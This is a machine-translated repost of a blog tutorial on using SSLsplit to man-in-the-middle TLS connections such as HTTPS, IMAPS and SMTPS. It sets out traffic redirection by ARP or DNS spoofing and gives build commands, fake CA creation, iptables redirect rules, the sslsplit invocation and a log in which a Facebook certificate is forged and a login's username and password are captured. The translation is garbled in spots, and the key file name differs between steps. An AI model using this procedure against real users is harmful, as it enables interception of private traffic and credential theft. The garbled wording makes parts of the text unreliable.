Using Sslsplit sniffer Tls/ssl connection

Source: Internet
Author: User
Tags imap gmail mail ssl connection

I recently demonstrated how to use mitmproxty to perform an intermediate person attack http (S) connection. When Mitmproxy work supports HTTP-based communication, it does not understand other TLS/SSL based traffic, such as FTPS, SMTP over SSL, IMAP over SSL, or some other protocol that overrides Tls/ssl.

Sslsplit is the general Tls/ssl agent for Man-in-the-middle attacks through all secure communication protocols. Using Sslsplit, you can intercept and store SSL-based traffic to listen to any secure connection.

1. Working principle

Sslsplit is very similar to other SSL proxy tools: it acts as an intermediary between the client and the server. As long as traffic is redirected to a server that Sslsplit runs (changing the default gateway, ARP spoofing, or other means), Sslsplit begins an SSL connection and pretends to be the server to which the client is connected. To do this, it dynamically claims a certificate that uses the CA certificate's private key (client-trusted) signature.

For example, if a customer wants to send an email using the Gmail SMTP server (the smtp.gmai.com port creates a certificate for 465,sslsplit and then pretends to be a Gmail mail server pointing to the client. In the upstream direction (pointing to the real Gmil server), Sslsplit connects to the client, much like the common client of the moth--forwarding all the actual client-written traffic.

If you are interested in details, check out how to work part of the blog about HTTP interception with Mitmproxy. The basic concept is the same, so it's easier to understand.

2. Installation and Operation Sslsplit

How to intercept SSL (and non-SSL) traffic.

2.1 Traffic Redirection

2.1.1 uses ARP spoofing to map the traffic to the victim from the MAC address of the standard gateway by publishing the IP address to the attacker. You don't need physical access to the victim. View the Arpspoof tool.

2.1.2 modifies the victim's default gateway.

The simplest way to 2.1.3 is to have access to the victim's device.

2.1.4 strengthens the DSN and DNS server entry that can back the attacker's IP address. See the tutorial on DNS spoofing.

2.1.5 redirects each domain by modifying the/etc/hosts file.

The simplest method mentioned above is to change the victim's default gateway address to the attacker's IP. Make sure the traffic passes through your machine. Since we need to install the CA certificate later, we need physical access to the victim's machine.

2.2 Installation

Download and compile Sslsplit

1
2
3
4
5
6
7
wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
bunzip2 sslsplit-0.4.7.tar.bz2  
tar xvf sslsplit-0.4.7.tar  
cd sslsplit-0.4.7
apt-get install libssl-dev libevent-dev
make
mkdir /tmp/sslsplit


In order for Sslsopit to act as an intermediary, its victim must trust the root CA certificate that stores the attacker. Depending on the type of client (browser, phone), the root certificate is still somewhat different

Generate a CA private key and certificate:

1
2
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt



In this example, Sslsplit will run on two ports: 8080 for non-SSL TCP connections, such as HTTP,SMTP or tfp;8443 for SSL connections, such as Smtp,https over SSL. The futuristic loading method arrives at the attacker's machine's package to these internal ports, which the NAT engine can be used.

1
2
3
4
5
6
7
8
9
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080


Once the IP forwarding is very active and the packet is forwarded to the relevant port, you can start sslsplit. That sounds simple, and so is the truth. Because Sslsplit is a very powerful tool, it is very flexible. You can see more detailed sslsplit manuals for more information.

Reasonable configuration of parameters:

1
2
3
4
5
6
7
8
9
./sslsplit 
  -D 
  -l connections.log 
  -j /tmp/sslsplit/ 
  -S logdir/ 
  -k ca.key 
  -c ca.cer 
   ssl 0.0.0.0 8443 
   tcp 0.0.0.0 8080


Assuming your configuration is correct, you can now start browsing and sending/receiving e-mails. Sslsplit to output the connection details on the console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@pbox:~/sslsplit-0.4.7# ./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
Generated RSA key for leaf certs.
SSLsplit 0.4.7 (built 2013-07-15)
Copyright (c) 2009-2013, Daniel Roethlisberger <daniel@roe.ch>
http://www.roe.ch/SSLsplit
Features: -DDISABLE_SSLV2_SESSION_CACHE -DHAVE_NETFILTER
NAT engines: netfilter* tproxy
netfilter:  IP_TRANSPARENT SOL_IPV6 !IPV6_ORIGINAL_DST
compiled against OpenSSL 1.0.1c 10 May 2012 (1000103f)
rtlinked against OpenSSL 1.0.1c 10 May 2012 (1000103f)
TLS Server Name Indication (SNI) supported
OpenSSL is thread-safe with THREADID
SSL/TLS algorithm availability: RSA DSA ECDSA DH ECDH EC
OpenSSL option availability: SSL_OP_NO_COMPRESSION SSL_OP_NO_TICKET SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION SSL_OP_TLS_ROLLBACK_BUG
compiled against libevent 2.0.19-stable
rtlinked against libevent 2.0.19-stable
4 CPU cores detected
proxyspecs:
- [0.0.0.0]:8080 tcp plain netfilter
- [0.0.0.0]:8443 ssl plain netfilter
Loaded CA: ‘/C=DE/ST=HE/O=Fake CA Certificate/CN=Fake CA Certificate‘
Using libevent backend ‘epoll‘
Event base supports: edge yes, O(1) yes, anyfd no
Inserted events:
  0x94b380 [fd 7] Read Persist
  0x94ba40 [fd 8] Read Persist
  0x94d4c0 [fd 9] Read Persist
  0x94b1b8 [fd 6] Read Persist
  0x94d550 [fd 3] Signal Persist
  0x94d7b0 [fd 1] Signal Persist
  0x94d920 [fd 2] Signal Persist
  0x94da90 [fd 13] Signal Persist
Started 8 connection handling threads
Starting main event loop.
SNI peek: [www.facebook.com] [complete]
Connecting to [31.13.81.33]:443
===> Original server certificate:
Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
Common Names: *.facebook.com/*.facebook.com/facebook.com
Fingerprint: f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7c
Certificate cache: MISS
===> Forged server certificate:
Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
Common Names: *.facebook.com/*.facebook.com/facebook.com
Fingerprint: 54:de:df:bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3
ssl [192.168.178.20]:39447 [31.13.81.33]:443 sni:www.facebook.com crt:*.facebook.com/*.facebook.com/facebook.com origcrt:*.facebook.com/*.facebook.com/facebook.com


Each file indicates that the TCP socket can be opened, showing the exact time, source and destination IP address and port. You can see it in the header:


1
2
3
4
5
6
7
8
9
10
root@pbox:/tmp/sslsplit/logdir# head 20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log 
GET / HTTP/1.1
Host: www.facebook.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: …
 

You can use Sslsplit to listen to different protocols. Below are a few examples of HTTPS, SSL-based IMAP and SMTP via SSL.

3.1 Sniffing HTTPS (Google.de & facebook.com)

Once Sslsplit starts running, all communication between the client and the actual server passes through Sslsplit. Using the-D option, sslsplit prints out the connection and certificate forgery in stdout. In addition, the content is LogDir ("/tmp/sslsplit/logdir"). With Tail-f/tmp/sslsplit/loggdir/20130804t162301z-*.log, you can follow communication between the client and the server.

The output of the sslsplit is shown in the above. This indicates that the upstream Facebook certificate is true, with the Sslsplit forged certificate, two fingerprints different because it was signed by a different certification authority.

The lower console displays the contents of the HTTPS communication. This shows the HTTPS POST request "Https://www.facebook.com/login.php?login_attempt=1", including my user name (&email=) and password (&pass=).

If a person clicks on a small lock image on any SSL/TLS encrypted website while redirecting traffic through Sslsplit, the certificate is issued to the true CN, organization (O), and organizational unit (OU), but not by a real ca.

Other examples can be viewed http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

This article by 360 security broadcast translation, reprint please specify "Transfer from 360 security broadcast", and attached link.

Original link: http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/


The above is the original

It's my test success picture.

Using Sslsplit sniffer Tls/ssl connection

Related Article

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.